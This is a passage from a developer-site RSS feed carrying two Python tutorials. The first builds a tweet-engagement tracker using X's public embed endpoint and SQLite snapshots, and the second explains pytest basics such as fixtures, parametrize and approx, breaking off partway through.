&lt;p&gt;&lt;em&gt;Not affiliated with Microsoft. “Azure DevOps”, “Excel” and “Office” are trademarks of Microsoft.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31073/how-to-bulk-edit-azure-devops-work-items-without-excel-works-on-mac</guid>
<pubDate>Wed, 14 Oct 2026 13:45:05 +0000</pubDate>
</item>
<item>
<title>Twitter (X) Scraper in Python: Tweet Metrics, SQLite Snapshots, and the Walls You'll Hit (2026)</title>
<link>https://coderlegion.com/31035/twitter-x-scraper-in-python-tweet-metrics-sqlite-snapshots-and-the-walls-youll-hit-2026</link>
<description>&lt;p&gt;Most people who search for a &quot;Twitter scraper&quot; don't need the whole firehose. They have a list of tweet URLs (a launch, a campaign, posts from a few creators) and want to know how many likes and replies each one has, and how that changes over a week. That job is still doable in plain Python without logging in. Pulling a user's whole timeline is a different story, and I'll be honest about where it breaks.&lt;/p&gt;
&lt;p&gt;This guide builds a small tracker: tweet URLs go in, and a SQLite table of engagement snapshots comes out.&lt;/p&gt;
&lt;h3 id=&quot;what-still-works-without-logging-in&quot;&gt;What still works without logging in&lt;/h3&gt;
&lt;p&gt;When a site embeds a tweet, the embed widget loads its data from a public JSON endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://cdn.syndication.twimg.com/tweet-result?id=&amp;lt;tweet_id&amp;gt;&amp;amp;token=&amp;lt;token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It returns the tweet text, creation date, author (name, handle, verified flags), media, &lt;code&gt;favorite_count&lt;/code&gt; (likes) and &lt;code&gt;conversation_count&lt;/code&gt; (replies). There's no API key and no cookie. The &lt;code&gt;token&lt;/code&gt; is derived from the tweet ID with a small formula from the open-source embed code. Today the endpoint seems to accept any non-empty token, but an empty one returns &lt;code&gt;{}&lt;/code&gt;, so compute it the same way the widget does in case that changes.&lt;/p&gt;
&lt;p&gt;What you &lt;em&gt;don't&lt;/em&gt; get matters just as much: no retweet count, no quote count, no view count, and no way to list a user's tweets. Keep that in mind before you build a dashboard on it.&lt;/p&gt;
&lt;h3 id=&quot;setup&quot;&gt;Setup&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python -m venv .venv &amp;amp;&amp;amp; source .venv/bin/activate
pip install requests
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-1-turn-urls-into-ids-and-ids-into-dates-&quot;&gt;Step 1: Turn URLs into IDs (and IDs into dates)&lt;/h3&gt;
&lt;p&gt;Tweet IDs are &quot;snowflakes&quot;: the top bits are a timestamp in milliseconds since X's custom epoch. That means you can get the post time from the ID alone, which is handy for sorting before you've fetched anything. This only holds for tweets from November 2010 onward, when snowflake IDs started. Older IDs are small sequential numbers, so prefer the &lt;code&gt;created_at&lt;/code&gt; field once you have the tweet.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import math
import re
from datetime import datetime, timezone

ID_RE = re.compile(r&quot;(?:twitter|x)\.com/[^/]+/status(?:es)?/(\d+)&quot;)
TWITTER_EPOCH_MS = 1288834974657


def tweet_id(url_or_id: str) -&amp;gt; str:
    if url_or_id.isdigit():
        return url_or_id
    m = ID_RE.search(url_or_id)
    if not m:
        raise ValueError(f&quot;not a tweet URL: {url_or_id}&quot;)
    return m.group(1)


def posted_at(tid: str) -&amp;gt; datetime:
    ms = (int(tid) &amp;gt;&amp;gt; 22) + TWITTER_EPOCH_MS
    return datetime.fromtimestamp(ms / 1000, tz=timezone.utc)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-2-compute-the-embed-token&quot;&gt;Step 2: Compute the embed token&lt;/h3&gt;
&lt;p&gt;The embed code does &lt;code&gt;((id / 1e15) * Math.PI).toString(36)&lt;/code&gt; and then strips every &lt;code&gt;0&lt;/code&gt; and the dot. Python has no float-to-base-36, so here's a short port:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;DIGITS = &quot;0123456789abcdefghijklmnopqrstuvwxyz&quot;


def _to_base36(x: float, frac_digits: int = 12) -&amp;gt; str:
    whole, frac = int(x), x - int(x)
    out = &quot;&quot;
    while whole:
        out = DIGITS[whole % 36] + out
        whole //= 36
    out = (out or &quot;0&quot;) + &quot;.&quot;
    for _ in range(frac_digits):
        frac *= 36
        d = int(frac)
        out += DIGITS[d]
        frac -= d
    return out


def embed_token(tid: str) -&amp;gt; str:
    return re.sub(r&quot;0+|\.&quot;, &quot;&quot;, _to_base36((int(tid) / 1e15) * math.pi))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-3-fetch-one-tweet-politely&quot;&gt;Step 3: Fetch one tweet, politely&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import random
import time
import requests

SESSION = requests.Session()
SESSION.headers[&quot;User-Agent&quot;] = (
    &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 &quot;
    &quot;(KHTML, like Gecko) Chrome/129.0 Safari/537.36&quot;
)
ENDPOINT = &quot;https://cdn.syndication.twimg.com/tweet-result&quot;


def fetch_tweet(tid: str, retries: int = 4) -&amp;gt; dict | None:
    for attempt in range(retries):
        r = SESSION.get(
            ENDPOINT,
            params={&quot;id&quot;: tid, &quot;token&quot;: embed_token(tid), &quot;lang&quot;: &quot;en&quot;},
            timeout=20,
        )
        if r.status_code == 404:
            return None  # deleted, protected, or never existed
        if r.status_code == 429 or r.status_code &amp;gt;= 500:
            time.sleep(2 ** attempt + random.random())
            continue
        r.raise_for_status()
        data = r.json()
        if not data or data.get(&quot;__typename&quot;) != &quot;Tweet&quot;:
            return None  # empty object or a tombstone (withheld, age-gated...)
        return data
    raise RuntimeError(f&quot;gave up on {tid} after {retries} tries&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three things to notice. A 404 is normal and not an error: tweets get deleted and accounts go private. An empty &lt;code&gt;{}&lt;/code&gt; or a non-&lt;code&gt;Tweet&lt;/code&gt; type also means &quot;nothing usable&quot;. And retry only on 429 and 5xx, with backoff and jitter.&lt;/p&gt;
&lt;h3 id=&quot;step-4-store-snapshots-in-sqlite&quot;&gt;Step 4: Store snapshots in SQLite&lt;/h3&gt;
&lt;p&gt;One row per tweet per run. Never overwrite, because the history is the useful part.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import sqlite3

db = sqlite3.connect(&quot;tweets.db&quot;)
db.executescript(&quot;&quot;&quot;
CREATE TABLE IF NOT EXISTS tweets (
    id TEXT PRIMARY KEY, handle TEXT, posted_at TEXT, text TEXT
);
CREATE TABLE IF NOT EXISTS snapshots (
    id TEXT, fetched_at TEXT, likes INTEGER, replies INTEGER,
    PRIMARY KEY (id, fetched_at)
);
&quot;&quot;&quot;)


def track(urls: list[str]) -&amp;gt; None:
    now = datetime.now(timezone.utc).isoformat(timespec=&quot;seconds&quot;)
    for url in urls:
        tid = tweet_id(url)
        t = fetch_tweet(tid)
        if t is None:
            print(f&quot;skip {tid}: unavailable&quot;)
            continue
        db.execute(
            &quot;INSERT OR IGNORE INTO tweets VALUES (?, ?, ?, ?)&quot;,
            (tid, t[&quot;user&quot;][&quot;screen_name&quot;], t.get(&quot;created_at&quot;) or posted_at(tid).isoformat(), t[&quot;text&quot;]),
        )
        db.execute(
            &quot;INSERT OR REPLACE INTO snapshots VALUES (?, ?, ?, ?)&quot;,
            (tid, now, t.get(&quot;favorite_count&quot;, 0), t.get(&quot;conversation_count&quot;, 0)),
        )
        time.sleep(1.5 + random.random())  # stay well under any rate limit
    db.commit()


if __name__ == &quot;__main__&quot;:
    track(open(&quot;tweets.txt&quot;).read().split())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Put one URL per line in &lt;code&gt;tweets.txt&lt;/code&gt; and run it from cron every few hours.&lt;/p&gt;
&lt;h3 id=&quot;step-5-see-what-moved&quot;&gt;Step 5: See what moved&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT t.handle, s.id,
       MAX(s.likes) - MIN(s.likes)     AS likes_gained,
       MAX(s.replies) - MIN(s.replies) AS replies_gained,
       COUNT(*)                        AS snapshots
FROM snapshots s JOIN tweets t USING (id)
WHERE s.fetched_at &amp;gt;= datetime('now', '-7 days')
GROUP BY s.id
ORDER BY likes_gained DESC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For tracking a few hundred known tweets, that's the whole thing, and it has been stable for me.&lt;/p&gt;
&lt;h3 id=&quot;the-walls-you-ll-hit&quot;&gt;The walls you'll hit&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;No timelines.&lt;/strong&gt; The tracker only works when you already know the tweet IDs. The embed timeline endpoint (&lt;code&gt;syndication.twitter.com/srv/timeline-profile/...&lt;/code&gt;) answered my very first request with &lt;code&gt;429 Rate limit exceeded&lt;/code&gt;, and logged-out &lt;code&gt;x.com&lt;/code&gt; profile pages render almost nothing useful in raw HTML.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Missing metrics.&lt;/strong&gt; No retweets, quotes, or views here. If those numbers matter, this endpoint isn't enough.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Guest tokens and GraphQL.&lt;/strong&gt; The web app gets data from internal GraphQL operations (&lt;code&gt;UserByScreenName&lt;/code&gt;, &lt;code&gt;UserTweets&lt;/code&gt; and so on). You can get a guest token without logging in, but the operation IDs and required &lt;code&gt;features&lt;/code&gt; flags change with each web release, and X keeps narrowing what guests can see. Expect to fix that code often.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Logged-in cookies.&lt;/strong&gt; Scraping with your own session cookies works until the account gets rate-limited, challenged, or locked. Don't do it with an account you care about, and read X's terms before you scale anything.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The official API.&lt;/strong&gt; It's the clean route, but the free tier is very limited for reads and the paid tiers are priced for companies. Check the current plans on X's developer portal before you plan around it.&lt;/p&gt;
&lt;h3 id=&quot;when-i-stop-doing-it-myself&quot;&gt;When I stop doing it myself&lt;/h3&gt;
&lt;p&gt;If the job grows from &quot;these 200 tweets&quot; into &quot;every new post from these 50 accounts, with views and retweets&quot;, the guest-token treadmill eats more time than it saves. That's where I use an API. For example, &lt;a rel=&quot;nofollow&quot; href=&quot;https://scrapeatlas.com&quot;&gt;ScrapeAtlas*&lt;/a&gt; has &lt;code&gt;GET /v1/twitter/user-tweets?handle=&amp;lt;handle&amp;gt;&lt;/code&gt; (newest first, with optional &lt;code&gt;since&lt;/code&gt;/&lt;code&gt;until&lt;/code&gt;) and &lt;code&gt;GET /v1/twitter/profile?handle=&amp;lt;handle&amp;gt;&lt;/code&gt;. Each tweet comes back with &lt;code&gt;legacy.favorite_count&lt;/code&gt;, &lt;code&gt;retweet_count&lt;/code&gt;, &lt;code&gt;reply_count&lt;/code&gt;, &lt;code&gt;quote_count&lt;/code&gt;, &lt;code&gt;views.count&lt;/code&gt; and its URL:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import os
import requests

r = requests.get(
    &quot;https://api.scrapeatlas.com/v1/twitter/user-tweets&quot;,
    params={&quot;handle&quot;: &quot;python_tip&quot;, &quot;since&quot;: &quot;2026-10-01T00:00:00Z&quot;},
    headers={&quot;x-api-key&quot;: os.environ[&quot;SCRAPEATLAS_API_KEY&quot;]},
    timeout=60,
)
r.raise_for_status()
body = r.json()
if not body[&quot;coverage&quot;][&quot;complete&quot;]:
    print(&quot;partial result:&quot;, body[&quot;coverage&quot;][&quot;warnings&quot;])
for tw in body[&quot;tweets&quot;]:
    lg = tw[&quot;legacy&quot;]
    print(tw[&quot;url&quot;], lg[&quot;favorite_count&quot;], lg[&quot;retweet_count&quot;], tw.get(&quot;views&quot;, {}).get(&quot;count&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check &lt;code&gt;coverage.complete&lt;/code&gt; and &lt;code&gt;warnings&lt;/code&gt; every time. A partial page is labelled as one, and you should treat it that way rather than as &quot;this account posted less&quot;.&lt;/p&gt;
&lt;p&gt;Whichever route you take, keep the snapshot table. The numbers that matter are the changes over time, not one reading. If you've found a more stable logged-out way to list a user's recent tweets, I'd like to hear it in the comments.&lt;/p&gt;
&lt;p&gt;*I build it.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31035/twitter-x-scraper-in-python-tweet-metrics-sqlite-snapshots-and-the-walls-youll-hit-2026</guid>
<pubDate>Wed, 14 Oct 2026 09:11:05 +0000</pubDate>
</item>
<item>
<title>Pytest in Practice</title>
<link>https://coderlegion.com/30938/pytest-in-practice</link>
<description>&lt;p&gt;I've been learning Python by building a video clipping CLI application, and along the way I've ended up learning a lot more than I expected.&lt;/p&gt;
&lt;p&gt;Some of it was straightforward. Some of it made me stop and think, especially when I first started writing tests.&lt;/p&gt;
&lt;p&gt;Things like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How does pytest even know which functions are tests?&lt;/li&gt;
&lt;li&gt;Why does everyone keep putting things in &lt;code&gt;conftest.py&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;When should I use a fixture?&lt;/li&gt;
&lt;li&gt;What's the difference between &lt;code&gt;patch&lt;/code&gt; and &lt;code&gt;monkeypatch&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Why did my mock not work when I was &lt;em&gt;sure&lt;/em&gt; I patched the right thing?&lt;/li&gt;
&lt;li&gt;When should I mock something, and when should I just run the real thing?&lt;/li&gt;
&lt;li&gt;What's the point of parametrization when I could just use a loop?&lt;/li&gt;
&lt;li&gt;How do I debug one failing test without running the entire suite every time?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are the kinds of things that can feel like arbitrary rules when you're first encountering them.&lt;/p&gt;
&lt;p&gt;Once I understood the reasoning behind them, though, pytest started making a lot more sense.&lt;/p&gt;
&lt;p&gt;So this isn't meant to be a complete pytest reference or an explanation of every feature pytest has. It's more like a collection of the things that finally &quot;clicked&quot; for me while testing a real Python project.&lt;/p&gt;
&lt;p&gt;The examples are based on my video clipping CLI, so you'll see things like FFmpeg, video metadata, audio extraction, transcription, temporary files, external dependencies, and slow tests.&lt;/p&gt;
&lt;p&gt;Hopefully, if you're also learning Python by building something rather than just following tutorials, some of these lessons save you a few of the &quot;why does it work like &lt;em&gt;that&lt;/em&gt;?&quot; moments I had.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;installing-pytest&quot;&gt;Installing pytest&lt;/h3&gt;
&lt;p&gt;If you're using &lt;code&gt;uv&lt;/code&gt;, installing pytest and coverage support is straightforward:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv add --dev pytest pytest-cov
uv run pytest --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You now have everything needed to start writing and running tests.&lt;/p&gt;
&lt;h3 id=&quot;your-first-test&quot;&gt;Your First Test&lt;/h3&gt;
&lt;p&gt;A pytest test can be nothing more than a function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# tests/core/test_video_inspector.py

from clipper.core.video_inspector import get_video_metadata


def test_get_video_metadata_returns_none_on_missing_file():
    result = get_video_metadata(&quot;does_not_exist.mp4&quot;)
    assert result is None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run it with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That's it.&lt;/p&gt;
&lt;p&gt;There is no base class, no registration, and no decorator required.&lt;/p&gt;
&lt;p&gt;pytest finds the test because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the file starts with &lt;code&gt;test_&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;the function starts with &lt;code&gt;test_&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That naming convention is the mechanism.&lt;/p&gt;
&lt;h3 id=&quot;how-does-pytest-find-your-tests-&quot;&gt;How Does pytest Find Your Tests?&lt;/h3&gt;
&lt;p&gt;pytest automatically walks the current directory and its subdirectories looking for test files.&lt;/p&gt;
&lt;p&gt;By default, it looks for files matching patterns such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_*.py
*_test.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside those files, it looks for functions matching:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and, inside classes whose names start with &lt;code&gt;Test*&lt;/code&gt;, methods that also match &lt;code&gt;test_*&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
└── core/
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is enough for pytest to discover the file automatically. You don't need to register the test anywhere.&lt;/p&gt;
&lt;p&gt;This is also why commands such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --cov=src
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;work without explicitly listing every test file. pytest's discovery mechanism does the work.&lt;/p&gt;
&lt;h3 id=&quot;assertions-just-use-assert&quot;&gt;Assertions: Just Use &lt;code&gt;assert&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;One of the nicest things about pytest is that you use Python's built-in &lt;code&gt;assert&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_fps_math():
    assert round(29.970029970029969, 2) == 29.97
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You don't need a collection of methods like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;assertEqual(...)
assertTrue(...)
assertFalse(...)
assertIn(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead, pytest rewrites &lt;code&gt;assert&lt;/code&gt; statements when running tests so that failures contain useful information about what each side evaluated to. That makes a failed assertion much more informative than simply:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Assertion failed
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;comparing-floats-with-pytest-approx&quot;&gt;Comparing Floats with &lt;code&gt;pytest.approx&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Don't compare floating-point calculations using exact equality.&lt;/p&gt;
&lt;p&gt;Instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pytest


def test_duration_seconds():
    assert 125.5 == pytest.approx(float(&quot;125.500001&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Floating-point calculations rarely land exactly where you expect. This matters especially when dealing with things like frame rates, durations, timestamps, or calculations involving &lt;code&gt;Fraction&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Without &lt;code&gt;pytest.approx&lt;/code&gt;, you might end up writing this everywhere:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;assert abs(actual - expected) &amp;lt; 0.001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pytest.approx&lt;/code&gt; gives you the tolerance without repeating that boilerplate.&lt;/p&gt;
&lt;h4 id=&quot;pytest-approx-works-with-nested-structures&quot;&gt;&lt;code&gt;pytest.approx&lt;/code&gt; Works with Nested Structures&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;pytest.approx&lt;/code&gt; isn't limited to individual numbers. You can use it when comparing nested structures:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_transcribe_matches_golden_output(
    sample_speech_path,
    sample_transcript,
):
    result = transcribe(str(sample_speech_path))

    assert result == pytest.approx(sample_transcript)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is particularly useful for regression or &quot;golden file&quot; tests. Imagine a transcript like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{
    &quot;segments&quot;: [
        {
            &quot;start&quot;: 0.123456,
            &quot;end&quot;: 1.987654,
            &quot;words&quot;: [
                {&quot;word&quot;: &quot;hello&quot;, &quot;start&quot;: 0.123},
                {&quot;word&quot;: &quot;world&quot;, &quot;start&quot;: 0.456},
            ],
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You don't want to write a loop comparing every timestamp manually. &lt;code&gt;pytest.approx&lt;/code&gt; can recursively compare numeric values with tolerance while still using normal equality for strings and other values — so it's practical to compare an entire expected transcript while allowing for harmless floating-point differences.&lt;/p&gt;
&lt;h3 id=&quot;testing-that-an-error-is-actually-raised&quot;&gt;Testing That an Error Is Actually Raised&lt;/h3&gt;
&lt;p&gt;When the expected behavior is for a function to raise an exception, use &lt;code&gt;pytest.raises&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pytest


def test_extract_audio_raises_on_bad_codec():
    with pytest.raises(ffmpeg.Error):
        extract_audio(
            &quot;in.mp4&quot;,
            &quot;out.wav&quot;,
            codec=&quot;not_a_real_codec&quot;,
        )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This test verifies two things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The code raises an exception.&lt;/li&gt;
&lt;li&gt;The exception is the expected type.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The test fails if the function doesn't raise anything. It also fails if it raises a different exception type. Both outcomes are useful information.&lt;/p&gt;
&lt;h4 id=&quot;pytest-raises-only-works-when-the-exception-escapes&quot;&gt;&lt;code&gt;pytest.raises&lt;/code&gt; Only Works When the Exception Escapes&lt;/h4&gt;
&lt;p&gt;There's an important distinction here. Suppose your function catches its own exception:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def extract_audio(...):
    try:
        ...
    except ffmpeg.Error:
        logger.error(...)
        return None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exception never reaches the caller. Therefore, this won't work:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with pytest.raises(ffmpeg.Error):
    extract_audio(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There's nothing left for &lt;code&gt;pytest.raises&lt;/code&gt; to catch. Instead, test the function's actual contract:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;result = extract_audio(...)

assert result is None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And, if logging is part of the behavior you care about, use &lt;code&gt;caplog&lt;/code&gt; to verify that the expected error was logged.&lt;/p&gt;
&lt;p&gt;A useful rule of thumb:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;If the function returns &lt;code&gt;None&lt;/code&gt; from its &lt;code&gt;except&lt;/code&gt; block, test the return value rather than expecting an exception.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;parametrize-one-test-many-inputs&quot;&gt;Parametrize: One Test, Many Inputs&lt;/h3&gt;
&lt;p&gt;Suppose you need to test several timestamp formats. You could write three tests:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_timestamp_one():
    ...


def test_timestamp_two():
    ...


def test_timestamp_three():
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But the test logic is identical. That's exactly what &lt;code&gt;pytest.mark.parametrize&lt;/code&gt; is for:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.mark.parametrize(
    &quot;timestamp,expected_seconds&quot;,
    [
        (&quot;00:00:01&quot;, 1.0),
        (&quot;00:01:00&quot;, 60.0),
        (&quot;01:00:00&quot;, 3600.0),
    ],
)
def test_validate_timestamp_parses_valid_formats(
    timestamp,
    expected_seconds,
):
    assert validate_timestamp(timestamp) == pytest.approx(expected_seconds)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Think of it like a form letter: the first argument names the blanks to fill in (&lt;code&gt;timestamp&lt;/code&gt;, &lt;code&gt;expected_seconds&lt;/code&gt;), and the second argument is a stack of filled-in versions. pytest prints one out and runs the test for each one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_validate_timestamp_parses_valid_formats[00:00:01-1.0]
test_validate_timestamp_parses_valid_formats[00:01:00-60.0]
test_validate_timestamp_parses_valid_formats[01:00:00-3600.0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each case can pass or fail independently.&lt;/p&gt;
&lt;h4 id=&quot;why-independence-matters&quot;&gt;Why independence matters&lt;/h4&gt;
&lt;p&gt;You could achieve something similar with a loop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_timestamps():
    for timestamp, expected in cases:
        assert validate_timestamp(timestamp) == expected
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But there's a major difference: a normal loop stops at the first failure. With parametrization, pytest runs every case. So one test run tells you exactly which inputs are broken instead of merely telling you:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_timestamps failed
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;when-should-you-use-it-&quot;&gt;When should you use it?&lt;/h4&gt;
&lt;p&gt;The signal is simple:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;If you're about to write several nearly identical test functions that differ only in their input values, consider &lt;code&gt;parametrize&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It works just as well for valid inputs as it does for malformed or invalid ones.&lt;/p&gt;
&lt;h3 id=&quot;grouping-tests-in-a-class&quot;&gt;Grouping Tests in a Class&lt;/h3&gt;
&lt;p&gt;pytest supports test classes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;class TestGetVideoMetadata:
    def test_returns_none_for_missing_file(self):
        assert get_video_metadata(&quot;missing.mp4&quot;) is None

    def test_has_audio_true_when_audio_stream_present(self):
        ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But classes aren't mandatory. Use them when they provide something useful, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;shared setup&lt;/li&gt;
&lt;li&gt;fixtures scoped to the group&lt;/li&gt;
&lt;li&gt;applying a marker to multiple tests&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don't use a class purely because it feels more organized. A well-named test file already provides plenty of organization.&lt;/p&gt;
&lt;h4 id=&quot;an-important-detail-about-test-classes&quot;&gt;An important detail about test classes&lt;/h4&gt;
&lt;p&gt;Each test method gets a fresh instance of the class. So this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;class TestSomething:
    def test_one(self):
        self.value = 1

    def test_two(self):
        assert self.value == 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is not valid. &lt;code&gt;test_two&lt;/code&gt; doesn't receive the instance used by &lt;code&gt;test_one&lt;/code&gt;. That's intentional — tests should be isolated from one another. Depending on mutable state from another test creates order-dependent and difficult-to-debug failures.&lt;/p&gt;
&lt;h3 id=&quot;fixtures&quot;&gt;Fixtures&lt;/h3&gt;
&lt;p&gt;Fixtures are one of pytest's most useful features. A fixture is a function that provides something a test needs — think of it like an ingredient a recipe asks for by name. You don't prep it inside the recipe itself; you just say &quot;I need &lt;code&gt;sample_video_path&lt;/code&gt;&quot; and pytest hands it to you already made.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# tests/conftest.py

import pytest
from pathlib import Path


@pytest.fixture
def sample_video_path() -&amp;gt; Path:
    return Path(__file__).parent / &quot;fixtures&quot; / &quot;sample.mp4&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A test can then request it simply by putting the fixture name in its parameters:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# tests/core/test_video_inspector.py

def test_metadata_against_real_file(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result is not None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pytest sees &lt;code&gt;sample_video_path&lt;/code&gt; in the test signature, finds the fixture with that name, runs it, and passes the result to the test. No import is required.&lt;/p&gt;
&lt;h3 id=&quot;why-conftest-py-matters&quot;&gt;Why &lt;code&gt;conftest.py&lt;/code&gt; Matters&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;conftest.py&lt;/code&gt; is automatically discovered by pytest. Fixtures defined there are available to test files in the same directory and its subdirectories — it works like a shared pantry that any test file in that part of the tree can pull from without asking for a delivery.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── conftest.py
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A fixture defined in &lt;code&gt;tests/conftest.py&lt;/code&gt; is available to both &lt;code&gt;tests/core/&lt;/code&gt; and &lt;code&gt;tests/api/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can also have a more specific &lt;code&gt;conftest.py&lt;/code&gt; deeper in the tree:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── conftest.py
└── core/
    ├── conftest.py
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
